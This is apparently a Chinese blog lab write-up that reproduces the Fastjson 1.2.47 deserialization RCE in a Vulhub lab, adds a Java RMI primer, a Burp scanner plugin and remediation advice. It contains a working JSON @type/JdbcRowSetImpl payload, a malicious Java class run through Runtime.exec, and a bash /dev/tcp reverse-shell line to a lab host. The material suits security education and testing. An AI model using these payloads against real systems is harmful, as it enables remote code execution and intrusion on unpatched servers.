渗透测试-Fastjson 1.2.47 RCE漏洞复现

漏洞概述

Fastjson是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的Java项目中。Fastjson 近几年被爆出的反序列化 RCE 漏洞影响无数厂商,2017年官方主动爆出了 fastjson 1.2.24 的反序列化漏洞以及升级公告,fastjson 于1.2.24 版本后增加了反序列化白名单。
在这里插入图片描述
而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令(具体的漏洞原理分析参见:Fastjson <=1.2.47 远程代码执行漏洞分析 。本文的目的就是复现 Fastjson 1.2.47反序列化漏洞。

漏洞复现

本次实验基于以下环境:

主机IP地址作用
Ubuntu 16.04 虚拟机192.168.125.3靶机,基于Vulhub漏洞集成环境运行靶场容器
Kali 2020 虚拟机192.168.125.4搭建 Web 服务器和 RMI 服务
Win 10 物理机192.168.125.2使用 Burpsuite 发送 POC;nc 接收反弹Shell

靶场搭建

1、进入 Ubuntu 虚拟机中 Vulhub 环境下 Fastjson 漏洞对应的路径,执行命令docker-compose up -d自动自动漏洞容器:
在这里插入图片描述2、此时 Win 10 物理机访问http://192.168.125.3:8090即可看到一个 json 对象被返回,代表漏洞环境搭建成功:
在这里插入图片描述

此处将 content-type 请求头修改为 application/json 后可向其通过 POST 请求提交新的 JSON 对象,后端会利用 fastjson 进行解析。

攻击过程

原理解析:为了成功利用 Fastjson 1.2.47 RCE 反序列化漏洞,需要提前在 Kali 虚拟机中搭建 Web 服务器和 RMI 服务,随后当我们向 fastjson 服务器 POST 提交 POC 后,fastjson 服务器会访问远程 RMI 服务,RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码(已编译的反序列化类),从而成功实现远程命令执行。

1、RMI服务搭建可直接通过已经编译好的 marshalsec 工具快速开启,首先从 Github 下载 marshalsec 到本地:
在这里插入图片描述
2、使用 maven 编译生成 marshalsec.jar 工具包:
在这里插入图片描述3、然而悲剧的是我并无法成功编译,编译报错,百度无果:
在这里插入图片描述4、不甘心就此失败,痛下狠手借助某宝花了0.6块大洋,在CSDN直接下载某大佬编译好并分享的 marshalsec.jar工具包:
在这里插入图片描述5、启动 RMI 服务的工具包准备好了,那就开始准备恶意 Java 文件吧,如图创建文件TouchFile.java(注:红体就是要执行的命令,每次换命令,都要重新编译文件):
在这里插入图片描述此处附上具体代码:

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

6、接下来对TouchFile.java进行编译,生成TouchFile.class文件:
在这里插入图片描述
7、接着需要使用 Tomcat 或者 Python 搭起 Web 服务,让TouchFile.class文件可对外访问,此处选择 Python 启动 Web 服务:
在这里插入图片描述

【注意】此处如果你的环境是python2,使用的命令是:python -m SimpleHTTPServer 8088;如果是python3,使用的命令是:python -m http.server 8088

8、在 Win 10 物理机访问http://192.168.125.4:8088/(Kali 的 IP+刚才开启的服务端口8088),可成功访问到TouchFile.class文件,如下图所示:
在这里插入图片描述

9、Web 服务器搭建好了,接下来需要启用 RMI 服务才行。使用上面准备好的marshalsec.jar 启动一个RMI服务器,监听 9001 端口,并指定加载远程类TouchFile.class,如下图所示:
在这里插入图片描述
10、在 Win 10 物理机使用 BurpSuite 向 Fastjson 靶场服务器发送Payload,如下图所示:
在这里插入图片描述具体Payload如下:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.125.4:9001/TouchFile",
        "autoCommit":true
    }
}

11、此时 Kali 虚拟机的 Web 服务器和 RMI 服务器分别记录了请求信息:
在这里插入图片描述

12、最后可回到 Ubuntu 虚拟机进入Fastjson 服务器对应的 Docker 容器查看/tmp/success是否创建成功:
在这里插入图片描述
至此,已成功利用 Fastjson 反序列化漏洞实现在 Fastjson 服务器目录下创建文件。

反弹Shell

可以远程执行命令的漏洞仅仅创建文件就太对不起辛辛苦苦搭建的靶场环境了,接下来可进一步实现反弹 Shell。方法很简单,只需要修改以上恶意文件TouchFile.java 的代码:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.125.2/1888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后进行编译,并跟上述过程一样使用 BurpSuite 发送最终的 Payload 即可。同时发送 Payload 之前在接收 Shell 的主机开启端口监听,便可成功反弹 Shell:
在这里插入图片描述

圈重点】最后注意 RMI 这种利用方式对 JDK 版本是有要求的,它在以下 JDK 版本被修复(启动服务之前用 java -version查看自己的 jdk 版本是否低于以下版本):
在这里插入图片描述

RMI 知识

漏洞复现过程使用到 Java RMI 远程方法调用,故此处补充作下介绍,熟知 RMI 的大佬请自行忽略。

Java远程方法调用,简称Java RMI(Java Remote Method Invocation),是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI远程调用步骤
在这里插入图片描述JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
  	// 所有方法必须抛出RemoteException
	public double add(double a, double b) throws RemoteException;
	public double subtract(double a, double b) throws RemoteException;
	
}

2、远程接口实现类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

	private int numberOfComputations;
	
	protected RemoteMath() throws RemoteException {
		numberOfComputations = 0;
	}
	
	@Override
	public double add(double a, double b) throws RemoteException {
		numberOfComputations++;
		System.out.println("Number of computations performed so far = " 
				+ numberOfComputations);
		return (a+b);
	}

	@Override
	public double subtract(double a, double b) throws RemoteException {
		numberOfComputations++;
		System.out.println("Number of computations performed so far = " 
				+ numberOfComputations);
		return (a-b);
	}
}

3、服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {

	public static void main(String[] args)  {
		public static String HOST = "127.0.0.1";
        public static int PORT = 8089;
        public static String RMI_PATH = "/math";
        public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
        
		try {
		    // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
		    // 创建一个服务
			IRemoteMath remoteMath = new RemoteMath();  
			// 服务命名绑定        
			Registry registry = LocateRegistry.getRegistry();
			registry.bind(RMI_NAME, remoteMath);
			System.out.println("Math server ready");
		} catch (Exception e) {
			e.printStackTrace();
		}		
		
	}
|

4、客户端代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

public class MathClient {

	public static void main(String[] args) {
		
		try { 
			// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math
			// 否则,URL就是:rmi://RMIService_IP:8089/math
			Registry registry = LocateRegistry.getRegistry("127.0.0.1",8089);        
			// 从Registry中检索远程对象的存根/代理
			IRemoteMath remoteMath = (IRemoteMath)registry.lookup(RMI_NAME);
			// 调用远程对象的方法
			double addResult = remoteMath.add(5.0, 3.0);
			System.out.println("5.0 + 3.0 = " + addResult);
			double subResult = remoteMath.subtract(5.0, 3.0);
			System.out.println("5.0 - 3.0 = " + subResult);			
		}catch(Exception e) {
			e.printStackTrace();
		}
				
	}
}

结果如下:
在这里插入图片描述

检测工具

以上检测过程较为繁琐,实际渗透测试过程中,可以借助某大佬开发的 BurpSuite 插件进行 Fastjson 自动化漏洞扫描,工具的Github地址:FastjsonScan

安装方法

1、下载项目中的FastjsonScan.jar文件:

在这里插入图片描述

2、 在burp的 Extender->Extensions 栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java),如果成功安装,会输出如下信息(如果未能成功安装可以换下jdk版本?我用的1.8):

在这里插入图片描述

使用方法

使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束:

在这里插入图片描述
FastjsonScan扫描结果界面:

在这里插入图片描述
如果扫描的目标存在漏洞,在窗口下面的Request窗口会展示使用的payload,如果没有漏洞,则会展示原始的请求与响应。

ps: 由于反序列化检测利用了dnslog,所以检测会稍微慢一点,在等待结果期间你还可以继续看其他请求,真的是相当方便呢。

本人实际检测过程借助上文 Vulhub 的靶场进行工具测试,发现发送单纯的 Get 请求(不带POST json数据包),插件会显示不支持:

在这里插入图片描述在这里插入图片描述
修改 Get 请求变为 Post,然后发送任意 json 到服务器,并将数据包发送到检测插件,即可成功检测出漏洞:

在这里插入图片描述在这里插入图片描述

核心代码

在这里插入图片描述

核心代码都在 BurpExtender.java 中了,检测逻辑很简单,注释也都写了,如果你有其他的需求,完全可以自己修改,直接在IDEA中打开FastjsonScan目录就可以自己魔改了

修复方案

  1. 升级 Fastjson 到最新版 (>=1.2.68 新增了safemode, 彻底关闭 autotype);
  2. WAF拦截过滤请求包中的 @type,%u0040%u0074%u0079%u0070%u0065, \u0040type,
    \x04type等多种编码的 autotype 变形;
  3. 最少升级到1.2.48以上版本且关闭 autotype 选项;
  4. 升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上。

参考文章:

1、Vulhub官方漏洞复现教程:Fastjson 1.2.47 远程命令执行漏洞
2、“信息安全小学生”微信公众号:Fastjson 1.2.47 RCE漏洞复现
3、某不知名大佬的博客文章:Fastjson 1.2.47 远程命令执行漏洞
4、BurpSuite插件开发者的教程:一款检测Fastjson反序列化的burp插件

  • 5
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值